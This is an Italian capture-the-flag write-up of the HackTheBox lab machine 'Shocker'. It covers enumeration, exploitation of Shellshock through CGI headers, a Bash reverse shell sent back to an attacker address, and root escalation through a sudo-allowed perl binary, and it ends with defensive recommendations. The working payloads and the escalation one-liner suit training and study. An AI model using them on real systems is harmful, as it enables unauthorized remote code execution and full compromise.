HackTheBox: Writeup di Shocker

Una guida passo-passo strutturata e professionale che illustra l'identificazione e lo sfruttamento manuale della critica vulnerabilità Shellshock, seguita dall'escalation dei privilegi locali tramite permessi sudo configurati in modo errato su un target Linux.

Panoramica Tecnica

• Sistema Operativo Target: Linux
• Indirizzo IP: 10.10.10.56
• Difficoltà: Facile
• Vulnerabilità Principali: Shellshock (CVE-2014-6271) e privilegi Sudo configurati in modo errato (/usr/bin/perl)
• Obiettivo: Ottenere l'accesso utente iniziale tramite l'iniezione di variabili d'ambiente CGI ed escalare a root.

1. Enumerazione e Ricognizione

La valutazione inizia con una rapida scansione SYN TCP su tutte le porte, mirata esclusivamente alle porte aperte (--open), bypassando la scoperta dell'host (-Pn) e la risoluzione DNS (-n) per accelerare il footprinting.

nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56

Profilazione Mirata di Servizi e Vulnerabilità

La scansione iniziale rivela due servizi attivi. Eseguiamo una scansione mirata secondaria per effettuare un rilevamento aggressivo delle versioni (-sCV) e una valutazione delle vulnerabilità basata su script:

nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56

Risultati della Scansione

• Porta 80: HTTP (Apache Web Server)
• Porta 2222: SSH (porta non standard)

2. Fuzzing delle Directory ed Enumerazione Web

In parallelo alle nostre scansioni delle vulnerabilità, avviamo un brute-forcing delle directory web utilizzando gobuster per mappare le risorse nascoste sul server Apache. Sfruttiamo una wordlist standard del framework SecLists:

gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

Scoperta Cruciale

Il processo di fuzzing identifica una directory /cgi-bin/ non indicizzata. Nelle implementazioni web legacy, i server Apache utilizzano la Common Gateway Interface (CGI) per eseguire script lato server. Considerando il nome della macchina e la presenza di questa cartella, cerchiamo attivamente script eseguibili (ad es. .sh, .cgi) che potrebbero essere suscettibili a difetti di iniezione di variabili d'ambiente.

Un'ulteriore enumerazione rivela uno script denominato user.sh situato all'interno della directory /cgi-bin/.

3. Weaponizzazione e Primo Accesso

Test per Shellshock (PoC)

La vulnerabilità Shellshock (CVE-2014-6271) consente agli attaccanti di eseguire comandi arbitrari del sistema operativo iniettando definizioni di funzioni dannose all'interno degli header delle richieste HTTP (come User-Agent) elaborati da istanze Bash vulnerabili.

Prepariamo un comando curl personalizzato per inviare un payload Proof of Concept (PoC) progettato per forzare il sistema remoto a eseguire il comando /usr/bin/id:

curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

• Risultato: il server web risponde con l'output del comando id, confermando l'esecuzione remota di codice (RCE) non autenticata.

Impostazione di una Reverse Shell

Per trasformare il nostro vettore di esecuzione in una sessione interattiva, impostiamo un listener Netcat locale sulla nostra piattaforma di attacco:

nc -lvnp 4444

Successivamente, iniettiamo una stringa di reverse shell Bash nativa all'interno dell'header User-Agent dannoso per forzare un callback su TCP:

curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

A esecuzione riuscita, riceviamo una shell stabile a bassi privilegi:

$ whoami
shelly

4. Escalation dei Privilegi Locali (LPE)

Con un contesto utente funzionante sul sistema, esaminiamo le nostre restrizioni locali. Interroghiamo la configurazione sudo per determinare se l'utente shelly è autorizzato a eseguire comandi con permessi elevati senza fornire una password:

sudo -l

Audit della Configurazione Sudo

L'output rivela la seguente voce ad alto rischio:

User shelly may run the following commands on shocker:
    (root) NOPASSWD: /usr/bin/perl

Sfruttamento di Perl tramite GTFOBins

Poiché abbiamo un accesso illimitato e non autenticato per eseguire il binario perl come root, possiamo facilmente aggirare le restrizioni del binario. Incrociando i riferimenti con GTFOBins, troviamo un wrapper di esecuzione che istruisce Perl a lanciare una shell di sistema nativa (/bin/sh) mantenendo il contesto dell'identità di esecuzione (root):

sudo -u root perl -e 'exec "/bin/sh"'

Otteniamo immediatamente un contesto di esecuzione amministrativo completo:

# whoami
root

5. Post-Exploitation e Raccolta delle Flag

Ora che l'accesso root è stato stabilito, ci spostiamo nelle directory home pertinenti per recuperare le prove dell'avvenuta compromissione.

# Access User Flag
cat /home/shelly/user.txt

# Access Root Flag
cat /root/root.txt

Punti Chiave e Raccomandazioni Difensive

1. Applicare patch al software intrinsecamente vulnerabile: Shellshock è una vulnerabilità legacy e catastrofica in GNU Bash. Assicurarsi che tutti i componenti del server ricevano patch di sicurezza proattive per le utilità fondamentali.
2. Mettere in sicurezza l'ambiente CGI: Se gli script CGI devono essere mantenuti, assicurarsi che vengano eseguiti in modelli di esecuzione isolati e in sandbox (ad es. utilizzando runtime di container specializzati o ambienti chroot) ed evitare l'uso di shell predefinite obsolete e vulnerabili.
3. Applicare rigorosamente il principio del minimo privilegio: Concedere agli utenti standard un accesso illimitato per eseguire potenti interpreti integrati come perl, python o bash tramite sudo introduce vettori di escalation immediati. L'accesso sudo dovrebbe essere limitato a script amministrativi non interattivi e strettamente controllati.